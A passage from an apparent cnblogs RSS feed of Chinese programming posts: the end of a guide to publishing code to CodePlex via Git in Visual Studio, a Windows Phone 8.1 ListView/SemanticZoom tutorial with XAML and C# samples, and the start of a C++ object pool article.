&ldquo;未同步的签入&rdquo; 界面。在 Url 输入框内输入本节刚开始复制的 Url 地址后,点击 &ldquo;Publish&rdquo; 将代码同步到 CodePlex。</p><p style="text-align: center;"><img src="http://images.cnitblog.com/i/30991/201404/181718317609955.jpg" alt="" /></p><p style="text-align: center;">&nbsp;</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/30991/201404/181718389942978.jpg" alt="" /></p><p style="text-align: center;">正在同步中</p><p>&nbsp;</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/30991/201404/181736408855188.jpg" alt="" /></p><p style="text-align: center;">同步完成</p><p>&nbsp;</p><p>  回到 CodePlex,刷新下刚才的页面,会发现已经有签入的记录了。而且在头部的 &ldquo;步骤&rdquo; 也显示已经完成2个了。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/30991/201404/181737047752855.jpg" alt="" /></p><p>&nbsp;</p><p>  如果不清楚下一步该干什么,可以点击该 &ldquo;步骤&rdquo;,这样会显示每一步的详细信息,如下图所示。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/30991/201404/181737200104202.jpg" alt="" /></p><p>&nbsp;</p><h2 style="font-size: 1.5em; font-family: 'Microsoft YaHei UI', 'Microsoft YaHei'; background-color: #dfdfdf; padding: 5px 10px; margin-bottom: 30px; margin-top: 20px; font-weight: bold; background-position: initial initial; background-repeat: initial initial;">设置证书</strong></p><p>  证书代表着你将授权他人如何来使用你的源代码。比如,是否能够修改再发布。在这里我选用 MIT 证书,因为该证书可以提供使用者最大的自由度。</p><p style="text-align: center;"><a href="http://image.beekka.com/blog/201105/bg2011050101.png" data-lightbox="img"><img title="" src="http://image.beekka.com/blog/201105/bg2011050101.png" alt="开源证书" border="0" hspace="0" vspace="0" /></a></p><p style="text-align: center;">摘自网络</p><p>&nbsp;</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/30991/201404/181737502919250.jpg" alt="" width="691" height="337" /></p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/30991/201404/181738049639468.jpg" alt="" width="716" height="520" /></p><p style="text-align: center;"> 设置证书相关信息</p><p>&nbsp;</p><h2 style="font-size: 1.5em; font-family: 'Microsoft YaHei UI', 'Microsoft YaHei'; background-color: #dfdfdf; padding: 5px 10px; margin-bottom: 30px; margin-top: 20px; font-weight: bold; background-position: initial initial; background-repeat: initial initial;">项目总结</strong></p><p>  完成了证书创建,最后一步就是对项目进行总结了,包括设置项目发布后的二级域名、项目总结性陈词、项目Logo等。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/30991/201404/181739122606376.jpg" alt="" /></p><p>&nbsp;</p><h2 style="font-size: 1.5em; font-family: 'Microsoft YaHei UI', 'Microsoft YaHei'; background-color: #dfdfdf; padding: 5px 10px; margin-bottom: 30px; margin-top: 20px; font-weight: bold; background-position: initial initial; background-repeat: initial initial;">发布项目</strong></p><p>  全部步骤完成之后,你会看到头部多出了一个 &ldquo;Publish This Project&rdquo; 的按钮,点击该按钮来完成项目的发布任务。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/30991/201404/181739343224101.jpg" alt="" width="763" height="237" /></p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/30991/201404/181739510729717.jpg" alt="" /></p><p style="text-align: center;">发布成功</p><p>&nbsp;</p><p style="margin-bottom: 1.286em; border-style: solid; border-color: #dddaaa; border-width: 1px 0px; padding: 0.75em 15px; background-color: #faf9e2; color: #5d5636; line-height: 1.5em; background-position: initial initial; background-repeat: initial initial;">示例中的项目可以在这里找到:<a title="The simplest demo for MVVM" href="https://simplestmvvmdemo.codeplex.com/" target="_blank">The simplest demo for MVVM</a></p><p>&nbsp;</p><p>本文来源:&nbsp;<a title="如何在 Visual Studio 中使用 Git 同步代码到 CodePlex" href="http://blog.chenxu.me/post/detail?id=19983529-ffd5-4af3-81da-43de2e2a0a0e" target="_blank">如何在 Visual Studio 中使用 Git 同步代码到 CodePlex</a></p><p>&nbsp;</p><p>&nbsp;</p><img src="http://counter.cnblogs.com/blog/rss/3673782" width="1" height="1" alt=""/><br/><p>本文链接:<a href="http://www.cnblogs.com/stg609/p/3673782.html" target="_blank">如何在 Visual Studio 中使用 Git 同步代码到 CodePlex</a>,转载请注明。</p>http://www.cnblogs.com/shaomeng/p/3671383.htmlWindows Phone 8.1 新特性 - 控件之列表选择控件 - shaomeng本篇我们来介绍Windows Phone 8.1 新特性中的列表选择控件。在Windows Phone 8 时代,大家都会使用 LongListSelector 来实现列表选择控件,对数据进行分组显示。比如通讯录中,按照名字首字母进行分组,点击分组标题后跳转到该标题对应的分组。而Windows Ph...2014-04-18T09:39:00Z2014-04-18T09:39:00Zshaomenghttp://www.cnblogs.com/shaomeng/<p>本篇我们来介绍Windows Phone 8.1 新特性中的列表选择控件。</p><p>在Windows Phone 8 时代,大家都会使用 LongListSelector 来实现列表选择控件,对数据进行分组显示。比如通讯录中,按照名字首字母进行分组,点击分组标题后跳转到该标题对应的分组。</p><p>而Windows Phone 8.1 中会利用 <span style="color: #000000;"><strong>ListView</strong> </span>和 <strong>SemanticZoom </strong>来实现,下面我们来看看实现过程。</p><p>首先我们来认识一下ListView 和 SemanticZoom:</p><p>ListView 从字面上并不难理解,一个列表视图控件,而它实际的作用也和字面表现的差不多,它是一个在一个列表中滚动显示项目的集合控件。</p><p>SemanticZoom 可能看起来有些陌生,语义缩放。它是允许用户在集合项目的两个视图之间缩放的一个容器控件。简单来说,当我们对一个联系人集合进行了按首字母分组后,我们可以通过语义缩放控件完成联系人列表和字母列表两种视图的缩放,通过选择字母来导航到该字母分组。</p><p>下面我们来看看代码实现,首先是XAML:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">SemanticZoom </span><span style="color: #ff0000;">x:Name</span><span style="color: #0000ff;">="semanticZoom"</span><span style="color: #ff0000;"> IsZoomOutButtonEnabled</span><span style="color: #0000ff;">="True"</span><span style="color: #ff0000;"> CanChangeViews</span><span style="color: #0000ff;">="True"</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">SemanticZoom.ZoomedInView</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">ListView </span><span style="color: #ff0000;">x:Name</span><span style="color: #0000ff;">="listViewDetail"</span><span style="color: #ff0000;"> IsSwipeEnabled</span><span style="color: #0000ff;">="True"</span><span style="color: #ff0000;"> IsTapEnabled</span><span style="color: #0000ff;">="True"</span><span style="color: #ff0000;"> IsItemClickEnabled</span><span style="color: #0000ff;">="True"</span><span style="color: #ff0000;"> IsZoomedInView</span><span style="color: #0000ff;">="True"</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">ListView.ItemTemplate</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">DataTemplate</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">Grid </span><span style="color: #ff0000;">Height</span><span style="color: #0000ff;">="40"</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">Grid.ColumnDefinitions</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">ColumnDefinition </span><span style="color: #ff0000;">Width</span><span style="color: #0000ff;">="50"</span><span style="color: #0000ff;">/&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">ColumnDefinition </span><span style="color: #ff0000;">Width</span><span style="color: #0000ff;">="*"</span><span style="color: #0000ff;">/&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">Grid.ColumnDefinitions</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">Border </span><span style="color: #ff0000;">Background</span><span style="color: #0000ff;">="AliceBlue"</span><span style="color: #ff0000;"> Grid.Column</span><span style="color: #0000ff;">="0"</span><span style="color: #0000ff;">/&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">TextBlock </span><span style="color: #ff0000;">Grid.Column</span><span style="color: #0000ff;">="1"</span><span style="color: #ff0000;"> Text</span><span style="color: #0000ff;">="</span><span style="color: #808000;">{Binding ContactName}</span><span style="color: #0000ff;">"</span><span style="color: #ff0000;"> FontSize</span><span style="color: #0000ff;">="30"</span><span style="color: #0000ff;">/&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">Grid</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">DataTemplate</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">ListView.ItemTemplate</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">ListView.GroupStyle</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">GroupStyle</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">GroupStyle.HeaderTemplate</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">DataTemplate</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">Border </span><span style="color: #ff0000;">Background</span><span style="color: #0000ff;">="Blue"</span><span style="color: #ff0000;"> Height</span><span style="color: #0000ff;">="50"</span><span style="color: #ff0000;"> Width</span><span style="color: #0000ff;">="50"</span><span style="color: #ff0000;"> HorizontalAlignment</span><span style="color: #0000ff;">="Left"</span><span style="color: #ff0000;"> Margin</span><span style="color: #0000ff;">="0,20,0,20"</span><span style="color: #ff0000;"> Tapped</span><span style="color: #0000ff;">="Border_Tapped"</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">TextBlock </span><span style="color: #ff0000;">Text</span><span style="color: #0000ff;">="</span><span style="color: #808000;">{Binding Title}</span><span style="color: #0000ff;">"</span><span style="color: #ff0000;"> FontSize</span><span style="color: #0000ff;">="30"</span><span style="color: #0000ff;">/&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">Border</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">DataTemplate</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">GroupStyle.HeaderTemplate</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">GroupStyle.Panel</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">ItemsPanelTemplate</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">VariableSizedWrapGrid </span><span style="color: #ff0000;">Orientation</span><span style="color: #0000ff;">="Vertical"</span><span style="color: #ff0000;"> Margin</span><span style="color: #0000ff;">="0 0 0 20"</span><span style="color: #ff0000;"> ItemHeight</span><span style="color: #0000ff;">="75"</span><span style="color: #0000ff;">/&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">ItemsPanelTemplate</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">GroupStyle.Panel</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">GroupStyle</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">ListView.GroupStyle</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">ListView.ItemsPanel</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">ItemsPanelTemplate</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">StackPanel </span><span style="color: #ff0000;">Orientation</span><span style="color: #0000ff;">="Vertical"</span> <span style="color: #0000ff;">/&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">ItemsPanelTemplate</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">ListView.ItemsPanel</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">ListView</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">SemanticZoom.ZoomedInView</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">SemanticZoom.ZoomedOutView</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">ListView </span><span style="color: #ff0000;">x:Name</span><span style="color: #0000ff;">="listViewSummary"</span><span style="color: #ff0000;"> Background</span><span style="color: #0000ff;">="Black"</span><span style="color: #ff0000;"> IsZoomedInView</span><span style="color: #0000ff;">="False"</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">ListView.ItemTemplate</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">DataTemplate</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">Border </span><span style="color: #ff0000;">Height</span><span style="color: #0000ff;">="70"</span><span style="color: #ff0000;"> Width</span><span style="color: #0000ff;">="400"</span><span style="color: #ff0000;"> Background</span><span style="color: #0000ff;">="Blue"</span><span style="color: #ff0000;"> Margin</span><span style="color: #0000ff;">="10,10,10,10"</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">TextBlock </span><span style="color: #ff0000;">Text</span><span style="color: #0000ff;">="</span><span style="color: #808000;">{Binding Group.Title}</span><span style="color: #0000ff;">"</span><span style="color: #ff0000;"> FontSize</span><span style="color: #0000ff;">="30"</span><span style="color: #0000ff;">/&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">Border</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">DataTemplate</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">ListView.ItemTemplate</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">ListView.ItemsPanel</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">ItemsPanelTemplate</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;</span><span style="color: #800000;">StackPanel </span><span style="color: #ff0000;">Orientation</span><span style="color: #0000ff;">="Vertical"</span><span style="color: #0000ff;">/&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">ItemsPanelTemplate</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">ListView.ItemsPanel</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">ListView</span><span style="color: #0000ff;">&gt;</span><br/> <span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">SemanticZoom.ZoomedOutView</span><span style="color: #0000ff;">&gt;</span><br/><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">SemanticZoom</span><span style="color: #0000ff;">&gt;</span></div><p>代码中我们为SemanticZoom 定义了两种视图,ZoomedInView 和 ZoomedOutView,分别代表元素列表视图和概要(分组名)视图。为这两种视图分别定义了内容,即 ListView。ZoomedInView 中我们定义了一个联系人列表,每个元素包括了一个Border 和一个代表人名的文本控件,这些元素按照首字母分组,点击首字母时进入ZoomedOutView。ZoomedOutView&nbsp;是一个字母列表,选择某个字母后,列表回到ZoomedInView,且导航到该字母的分组。</p><p>下面我们看看数据的绑定过程:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #0000ff;">protected</span> <span style="color: #0000ff;">override</span> <span style="color: #0000ff;">void</span><span style="color: #000000;"> OnNavigatedTo(NavigationEventArgs e)<br/>{<br/> CollectionViewSource listViewSource </span>= <span style="color: #0000ff;">new</span><span style="color: #000000;"> CollectionViewSource();<br/> listViewSource.IsSourceGrouped </span>= <span style="color: #0000ff;">true</span><span style="color: #000000;">;<br/> listViewSource.Source </span>=<span style="color: #000000;"> GetContactGroups();<br/> listViewSource.ItemsPath </span>= <span style="color: #0000ff;">new</span> PropertyPath(<span style="color: #800000;">"</span><span style="color: #800000;">Contacts</span><span style="color: #800000;">"</span><span style="color: #000000;">);<br/> listViewDetail.ItemsSource </span>=<span style="color: #000000;"> listViewSource.View;<br/> listViewSummary.ItemsSource </span>=<span style="color: #000000;"> listViewSource.View.CollectionGroups;<br/>}<br/><br/></span><span style="color: #0000ff;">private</span> List&lt;ContactGroup&gt;<span style="color: #000000;"> GetContactGroups()<br/>{<br/> List</span>&lt;ContactGroup&gt; groups = <span style="color: #0000ff;">new</span> List&lt;ContactGroup&gt;<span style="color: #000000;">();<br/> ContactGroup groupA </span>= <span style="color: #0000ff;">new</span> ContactGroup() { Title = <span style="color: #800000;">"</span><span style="color: #800000;">A</span><span style="color: #800000;">"</span>, Contacts = <span style="color: #0000ff;">new</span> List&lt;Contact&gt;() { <span style="color: #0000ff;">new</span> Contact(<span style="color: #800000;">"</span><span style="color: #800000;">Alan</span><span style="color: #800000;">"</span>), <span style="color: #0000ff;">new</span> Contact(<span style="color: #800000;">"</span><span style="color: #800000;">Allen</span><span style="color: #800000;">"</span>), <span style="color: #0000ff;">new</span> Contact(<span style="color: #800000;">"</span><span style="color: #800000;">Azar</span><span style="color: #800000;">"</span><span style="color: #000000;">) } };<br/> ContactGroup groupB </span>= <span style="color: #0000ff;">new</span> ContactGroup() { Title = <span style="color: #800000;">"</span><span style="color: #800000;">B</span><span style="color: #800000;">"</span>, Contacts = <span style="color: #0000ff;">new</span> List&lt;Contact&gt;() { <span style="color: #0000ff;">new</span> Contact(<span style="color: #800000;">"</span><span style="color: #800000;">Ben</span><span style="color: #800000;">"</span>), <span style="color: #0000ff;">new</span> Contact(<span style="color: #800000;">"</span><span style="color: #800000;">Benzema</span><span style="color: #800000;">"</span><span style="color: #000000;">) } };<br/> ContactGroup groupC </span>= <span style="color: #0000ff;">new</span> ContactGroup() { Title = <span style="color: #800000;">"</span><span style="color: #800000;">C</span><span style="color: #800000;">"</span>, Contacts = <span style="color: #0000ff;">new</span> List&lt;Contact&gt;() { <span style="color: #0000ff;">new</span> Contact(<span style="color: #800000;">"</span><span style="color: #800000;">Cat</span><span style="color: #800000;">"</span>), <span style="color: #0000ff;">new</span> Contact(<span style="color: #800000;">"</span><span style="color: #800000;">Canby</span><span style="color: #800000;">"</span>), <span style="color: #0000ff;">new</span> Contact(<span style="color: #800000;">"</span><span style="color: #800000;">Candy</span><span style="color: #800000;">"</span><span style="color: #000000;">) } };<br/> ContactGroup groupJ </span>= <span style="color: #0000ff;">new</span> ContactGroup() { Title = <span style="color: #800000;">"</span><span style="color: #800000;">J</span><span style="color: #800000;">"</span>, Contacts = <span style="color: #0000ff;">new</span> List&lt;Contact&gt;() { <span style="color: #0000ff;">new</span> Contact(<span style="color: #800000;">"</span><span style="color: #800000;">James</span><span style="color: #800000;">"</span>), <span style="color: #0000ff;">new</span> Contact(<span style="color: #800000;">"</span><span style="color: #800000;">Jim</span><span style="color: #800000;">"</span>), <span style="color: #0000ff;">new</span> Contact(<span style="color: #800000;">"</span><span style="color: #800000;">Jimmy</span><span style="color: #800000;">"</span><span style="color: #000000;">) } };<br/> ContactGroup groupK </span>= <span style="color: #0000ff;">new</span> ContactGroup() { Title = <span style="color: #800000;">"</span><span style="color: #800000;">K</span><span style="color: #800000;">"</span>, Contacts = <span style="color: #0000ff;">new</span> List&lt;Contact&gt;() { <span style="color: #0000ff;">new</span> Contact(<span style="color: #800000;">"</span><span style="color: #800000;">Kevin</span><span style="color: #800000;">"</span>), <span style="color: #0000ff;">new</span> Contact(<span style="color: #800000;">"</span><span style="color: #800000;">King</span><span style="color: #800000;">"</span><span style="color: #000000;">) } };<br/> ContactGroup groupO </span>= <span style="color: #0000ff;">new</span> ContactGroup() { Title = <span style="color: #800000;">"</span><span style="color: #800000;">O</span><span style="color: #800000;">"</span>, Contacts = <span style="color: #0000ff;">new</span> List&lt;Contact&gt;() { <span style="color: #0000ff;">new</span> Contact(<span style="color: #800000;">"</span><span style="color: #800000;">Oscar</span><span style="color: #800000;">"</span>), <span style="color: #0000ff;">new</span> Contact(<span style="color: #800000;">"</span><span style="color: #800000;">Owen</span><span style="color: #800000;">"</span><span style="color: #000000;">) } };<br/> ContactGroup groupP </span>= <span style="color: #0000ff;">new</span> ContactGroup() { Title = <span style="color: #800000;">"</span><span style="color: #800000;">P</span><span style="color: #800000;">"</span>, Contacts = <span style="color: #0000ff;">new</span> List&lt;Contact&gt;() { <span style="color: #0000ff;">new</span> Contact(<span style="color: #800000;">"</span><span style="color: #800000;">Pendy</span><span style="color: #800000;">"</span><span style="color: #000000;">) } };<br/> ContactGroup groupY </span>= <span style="color: #0000ff;">new</span> ContactGroup() { Title = <span style="color: #800000;">"</span><span style="color: #800000;">Y</span><span style="color: #800000;">"</span>, Contacts = <span style="color: #0000ff;">new</span> List&lt;Contact&gt;() { <span style="color: #0000ff;">new</span> Contact(<span style="color: #800000;">"</span><span style="color: #800000;">Yark</span><span style="color: #800000;">"</span>), <span style="color: #0000ff;">new</span> Contact(<span style="color: #800000;">"</span><span style="color: #800000;">York</span><span style="color: #800000;">"</span><span style="color: #000000;">)} };<br/> ContactGroup groupZ </span>= <span style="color: #0000ff;">new</span> ContactGroup() { Title = <span style="color: #800000;">"</span><span style="color: #800000;">Z</span><span style="color: #800000;">"</span>, Contacts = <span style="color: #0000ff;">new</span> List&lt;Contact&gt;() { <span style="color: #0000ff;">new</span> Contact(<span style="color: #800000;">"</span><span style="color: #800000;">Zend</span><span style="color: #800000;">"</span>), <span style="color: #0000ff;">new</span> Contact(<span style="color: #800000;">"</span><span style="color: #800000;">Zin</span><span style="color: #800000;">"</span><span style="color: #000000;">)} };<br/> groups.Add(groupA);<br/> groups.Add(groupB);<br/> groups.Add(groupC);<br/> groups.Add(groupJ);<br/> groups.Add(groupK);<br/> groups.Add(groupO);<br/> groups.Add(groupP);<br/> groups.Add(groupY);<br/> groups.Add(groupZ);<br/> </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> groups;<br/>}<br/><br/></span><span style="color: #0000ff;">private</span> <span style="color: #0000ff;">void</span> Border_Tapped(<span style="color: #0000ff;">object</span><span style="color: #000000;"> sender, TappedRoutedEventArgs e)<br/>{<br/> semanticZoom.IsZoomedInViewActive </span>= <span style="color: #0000ff;">false</span><span style="color: #000000;">;<br/>}</span></div><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #0000ff;">public</span> <span style="color: #0000ff;">class</span><span style="color: #000000;"> Contact<br/>{<br/> </span><span style="color: #0000ff;">public</span> <span style="color: #0000ff;">string</span> ContactName { <span style="color: #0000ff;">get</span>; <span style="color: #0000ff;">set</span><span style="color: #000000;">; }<br/><br/> </span><span style="color: #0000ff;">public</span> Contact(<span style="color: #0000ff;">string</span><span style="color: #000000;"> name)<br/> {<br/> ContactName </span>=<span style="color: #000000;"> name;<br/> }<br/>}<br/><br/></span><span style="color: #0000ff;">public</span> <span style="color: #0000ff;">class</span><span style="color: #000000;"> ContactGroup<br/>{<br/> </span><span style="color: #0000ff;">public</span> <span style="color: #0000ff;">string</span> Title { <span style="color: #0000ff;">get</span>; <span style="color: #0000ff;">set</span><span style="color: #000000;">; }<br/> </span><span style="color: #0000ff;">public</span> List&lt;Contact&gt; Contacts { <span style="color: #0000ff;">get</span>; <span style="color: #0000ff;">set</span><span style="color: #000000;">; }<br/>}</span></div><p>这里我们演示了数据结构的定义,示例数据的生成和绑定。我们重点来看一下数据绑定的过程,这个过程在 OnNavigatedTo 方法中。</p><p>我们定义了一个 CollectionViewSource 类型的实例,它可以向集合类添加分组支持的数据源。把它的Source设置为我们定义的数据分组集合。</p><p>ItemsPath 代表在组内查找组的属性路径。然后把listViewDetail 和 listViewSummary 的数据源分别设置为 CollectionViewSource 的视图对象和视图的集合组。</p><p>这样我们的示例就完成了,来看一下运行效果:</p><p><img src="http://images.cnitblog.com/i/306530/201404/181734185414208.png" alt="" width="NaN" height="400" />&nbsp;<img src="http://images.cnitblog.com/i/306530/201404/181735157601095.png" alt="" width="NaN" height="400" />&nbsp;<img src="http://images.cnitblog.com/i/306530/201404/181735432607360.png" alt="" width="NaN" height="400" /></p><p>上图1 中,我们点击某个分组名后,出现图2 的视图,在图2 中点击&ldquo;K&rdquo; 后,回到列表视图,且导航到&ldquo;K&rdquo;分组。</p><p>到了,到这里我们对列表选择控件的介绍就完成了,接下来会继续介绍Windows Phone 8.1中的其他新控件,谢谢大家。</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><img src="http://counter.cnblogs.com/blog/rss/3671383" width="1" height="1" alt=""/><br/><p>本文链接:<a href="http://www.cnblogs.com/shaomeng/p/3671383.html" target="_blank">Windows Phone 8.1 新特性 - 控件之列表选择控件</a>,转载请注明。</p>http://www.cnblogs.com/qicosmos/p/3673723.html(原创)一个超级对象池的实现 - qicosmos对象池对于创建开销比较大的对象来说很有意义,为了避免重复创建开销比较大的对象,我们可以通过对象池来优化。对象池的思路比较简单,事先创建好一批对象,放到一个集合中,以后每当程序需要新的对象时候,都从对象池里获取,每当程序用完该对象后,都把该对象归还给对象池。这样会避免重复的对象创建,提高程序性能。.....2014-04-18T09:24:00Z2014-04-18T09:24:00Zqicosmoshttp://www.cnblogs.com/qicosmos/<p>  对象池对于创建开销比较大的对象来说很有意义,为了避免重复创建开销比较大的对象,我们可以通过对象池来优化。对象池的思路比较简单,事先创建好一批对象,放到一个集合中,以后每当程序需要新的对象时候,都从对象池里获取,每当程序用完该对象后,都把该对象归还给对象池。这样会避免重复的对象创建,提高程序性能。先来看看对象池的简单实现:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;" onclick="cnblogs_code_show('b2e7248a-3d93-46c3-b5a5-a93ee0168c96')"><div id="cnblogs_code_open_b2e7248a-3d93-46c3-b5a5-a93ee0168c96" class="cnblogs_code_hide">#include &lt;list&gt;<span style="color: #000000;"><br/> <br/>template</span>&lt;typename Object&gt;<br/><span style="color: #0000ff;">class</span><span style="color: #000000;"> ObjectPool<br/>{<br/></span><span style="color: #0000ff;">public</span><span style="color: #000000;">:<br/> <br/> ObjectPool(size_t unSize) :<br/> m_unSize(unSize)<br/> {<br/> </span><span style="color: #0000ff;">for</span> (size_t unIdx = <span style="color: #800080;">0</span>; unIdx &lt; m_unSize; ++<span style="color: #000000;"> unIdx)<br/> {<br/> m_oPool.push_back(</span><span style="color: #0000ff;">new</span><span style="color: #000000;"> Object());<br/> }<br/> }<br/> <br/> </span>~<span style="color: #000000;">ObjectPool()<br/> {<br/> typename std::list</span>&lt;Object *&gt;::iterator oIt =<span style="color: #000000;"> m_oPool.begin();<br/> </span><span style="color: #0000ff;">while</span> (oIt !=<span style="color: #000000;"> m_oPool.end())<br/> {<br/> delete (</span>*<span style="color: #000000;">oIt);<br/> </span>++<span style="color: #000000;"> oIt;<br/> }<br/> m_unSize </span>= <span style="color: #800080;">0</span><span style="color: #000000;">;<br/> }<br/> <br/> Object </span>*<span style="color: #000000;"> GetObject()<br/> {<br/> Object </span>* pObj =<span style="color: #000000;"> NULL;<br/> </span><span style="color: #0000ff;">if</span> (<span style="color: #800080;">0</span> ==<span style="color: #000000;"> m_unSize)<br/> {<br/> pObj </span>= <span style="color: #0000ff;">new</span><span style="color: #000000;"> Object();<br/> }<br/> </span><span style="color: #0000ff;">else</span><span style="color: #000000;"><br/> {<br/> pObj </span>=<span style="color: #000000;"> m_oPool.front();<br/> m_oPool.pop_front();<br/> </span>--<span style="color: #000000;"> m_unSize;<br/> }<br/> <br/> </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> pObj;<br/> }<br/> <br/> </span><span style="color: #0000ff;">void</span> ReturnObject(Object *<span style="color: #000000;"> pObj)<br/> {<br/> m_oPool.push_back(pObj);<br/> </span>++<span style="color: #000000;"> m_unSize;<br/> }<br/> <br/></span><span style="color: #0000ff;">private</span><span style="color: #000000;">:<br/> size_t m_unSize;<br/> std::list</span>&lt;<span style="color: #0000ff;">object</span> *&gt;<span style="color: #000000;"> m_oPool;<br/>};</span></div></div><p>  这个object pool的实现很典型,初始创建一定数量的对象,取的时候就直接从池子中取,用完之后再回收到池子。一般的对象池的实现思路和这个类似,这种实现方式虽然能达到目的,但是存在以下不足:</p><ol><li>对象池ObjectPool&lt;T&gt;只能容纳特定类型的对象,不能容纳所有类型的对象,可以支持重载的和参数不同的构造函数;</li><li>对象用完之后需要手动回收,用起来不够方便,更大的问题是存在忘记回收的风险;</li></ol><p>  